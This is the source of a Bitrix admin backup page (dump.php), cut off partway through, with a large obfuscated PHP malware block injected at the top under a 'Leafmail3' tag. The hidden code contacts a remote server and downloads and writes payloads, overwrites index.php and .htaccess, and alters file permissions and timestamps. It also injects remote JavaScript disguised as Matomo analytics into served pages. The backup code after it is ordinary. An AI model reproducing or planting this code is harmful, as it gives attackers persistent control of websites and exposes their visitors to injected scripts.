Your IP : 3.137.209.122
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Bitrix Framework
* @package bitrix
* @subpackage main
* @copyright 2001-2013 Bitrix
*/
/**
* Bitrix vars
* @global CUser $USER
* @global CMain $APPLICATION
* @global CDatabase $DB
*/
define('NO_AGENT_CHECK', true);
define("STATISTIC_SKIP_ACTIVITY_CHECK", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
define("HELP_FILE", "utilities/dump.php");
if(!$USER->CanDoOperation('edit_php'))
$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));
if(!defined("START_EXEC_TIME"))
define("START_EXEC_TIME", microtime(true));
IncludeModuleLangFile(__FILE__);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/backup.php");
$strBXError = '';
$bGzip = function_exists('gzcompress');
$bMcrypt = function_exists('mcrypt_encrypt') || function_exists('openssl_encrypt');
$bHash = function_exists('hash');
$bBitrixCloud = $bMcrypt && $bHash;
if (!CModule::IncludeModule('bitrixcloud'))
{
$bBitrixCloud = false;
$strBXError = GetMessage('ERR_NO_BX_CLOUD');
}
elseif (!CModule::IncludeModule('clouds'))
{
$bBitrixCloud = false;
$strBXError = GetMessage('ERR_NO_CLOUDS');
}
if (function_exists('mb_internal_encoding'))
mb_internal_encoding('ISO-8859-1');
define('DOCUMENT_ROOT', rtrim(str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']),'/'));
// define('DUMP_DEBUG_MODE', true);
// xdebug_start_trace();
$arAllBucket = CBackup::GetBucketList();
$status_title = "";
if ($_REQUEST['ajax_mode'] == 'Y')
{
if ($_REQUEST['action'] == 'get_table_size')
{
?>
<script>
BX('db_size').innerHTML = "(<?=CFile::FormatSize(getTableSize())?>)";
BX('db_stat_size').innerHTML = "(<?=CFile::FormatSize(getTableSize("^b_stat"))?>)";
BX('db_search_size').innerHTML = "(<?=CFile::FormatSize(getTableSize("^b_search"))?>)";
BX('db_event_size').innerHTML = "(<?=CFile::FormatSize(getTableSize("^b_event_log$"))?>)";
</script>
<?
die();
}
}
elseif($_REQUEST['process'] == "Y")
{
if (!check_bitrix_sessid())
RaiseErrorAndDie(GetMessage("DUMP_MAIN_SESISON_ERROR"));
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_js.php");
$NS =& $_SESSION['BX_DUMP_STATE'];
if($_REQUEST['action'] == 'start')
{
define('NO_TIME', true);
$bFull = $_REQUEST['dump_all'] == 'Y';
if(!file_exists(DOCUMENT_ROOT.BX_ROOT."/backup"))
mkdir(DOCUMENT_ROOT.BX_ROOT."/backup", BX_DIR_PERMISSIONS);
if(!file_exists(DOCUMENT_ROOT.BX_ROOT."/backup/index.php"))
{
$f = fopen(DOCUMENT_ROOT.BX_ROOT."/backup/index.php","w");
fwrite($f,"<head><meta http-equiv=\"REFRESH\" content=\"0;URL=/bitrix/admin/index.php\"></head>");
fclose($f);
}
if(!is_dir(DOCUMENT_ROOT.BX_ROOT."/backup") || !is_writable(DOCUMENT_ROOT.BX_ROOT."/backup"))
RaiseErrorAndDie(GetMessage("MAIN_DUMP_FOLDER_ERR",array('#FOLDER#' => DOCUMENT_ROOT.BX_ROOT.'/backup')));
DeleteDirFilesEx(BX_ROOT.'/backup/clouds');
$NS = Array();
$NS['finished_steps'] = 0;
$NS['dump_state'] = '';
$NS['BUCKET_ID'] = intval($_REQUEST['dump_bucket_id']);
COption::SetOptionInt("main", "dump_bucket_id", $NS['BUCKET_ID']);
if ($bMcrypt && $_REQUEST['dump_encrypt_key'])
{
$NS['dump_encrypt_key'] = $_REQUEST['dump_encrypt_key'];
// if (!defined('BX_UTF') || !BX_UTF)
// $NS['dump_encrypt_key'] = $APPLICATION->ConvertCharset('windows-1251','utf-8',$NS['dump_encrypt_key']);
COption::SetOptionInt("main", "dump_encrypt", 1);
}
else
COption::SetOptionInt("main", "dump_encrypt", 0);
if ($NS['BUCKET_ID'] == -1 && !$NS['dump_encrypt_key'])
RaiseErrorAndDie(GetMessage('MAIN_DUMP_BXCLOUD_ENC'));
$bUseCompression = $bGzip && ($_REQUEST['dump_disable_gzip'] != 'Y' || $bFull);
COption::SetOptionInt("main", "dump_use_compression", $bUseCompression);
if ($bFull)
{
$NS['total_steps'] = 4; // dump, tar dump, tar files, integrity
COption::SetOptionInt("main", "dump_max_exec_time", 20);
COption::SetOptionInt("main", "dump_max_exec_time_sleep", 1);
COption::SetOptionInt("main", "dump_archive_size_limit", 100 * 1024 * 1024);
COption::SetOptionInt("main", "dump_integrity_check", 1);
COption::SetOptionInt("main", "dump_max_file_size", 0);
COption::SetOptionInt("main", "dump_file_public", 1);
COption::SetOptionInt("main", "dump_file_kernel", 1);
COption::SetOptionInt("main", "dump_base", $DB->type == 'MYSQL' ? 1 : 0);
COption::SetOptionInt("main", "dump_base_skip_stat", 0);
COption::SetOptionInt("main", "dump_base_skip_search", 0);
COption::SetOptionInt("main", "dump_base_skip_log", 0);
COption::SetOptionInt("main", "skip_symlinks", 0);
if ($arAllBucket)
{
$bDumpCloud = 1;
$NS['total_steps']++;
COption::SetOptionInt("main", "dump_do_clouds", 1);
foreach($arAllBucket as $arBucket)
COption::SetOptionInt('main', 'dump_cloud_'.$arBucket['ID'], 1);
}
COption::SetOptionInt("main", "skip_mask", 0);
}
else
{
COption::SetOptionInt("main", "skip_symlinks", $_REQUEST['skip_symlinks'] == 'Y');
COption::SetOptionInt("main", "dump_max_exec_time", intval($_REQUEST['dump_max_exec_time']) < 5 ? 5 : $_REQUEST['dump_max_exec_time']);
COption::SetOptionInt("main", "dump_max_exec_time_sleep", $_REQUEST['dump_max_exec_time_sleep']);
$dump_archive_size_limit = intval($_REQUEST['dump_archive_size_limit']);
if ($dump_archive_size_limit > 2047 || $dump_archive_size_limit <= 10)
$dump_archive_size_limit = 100;
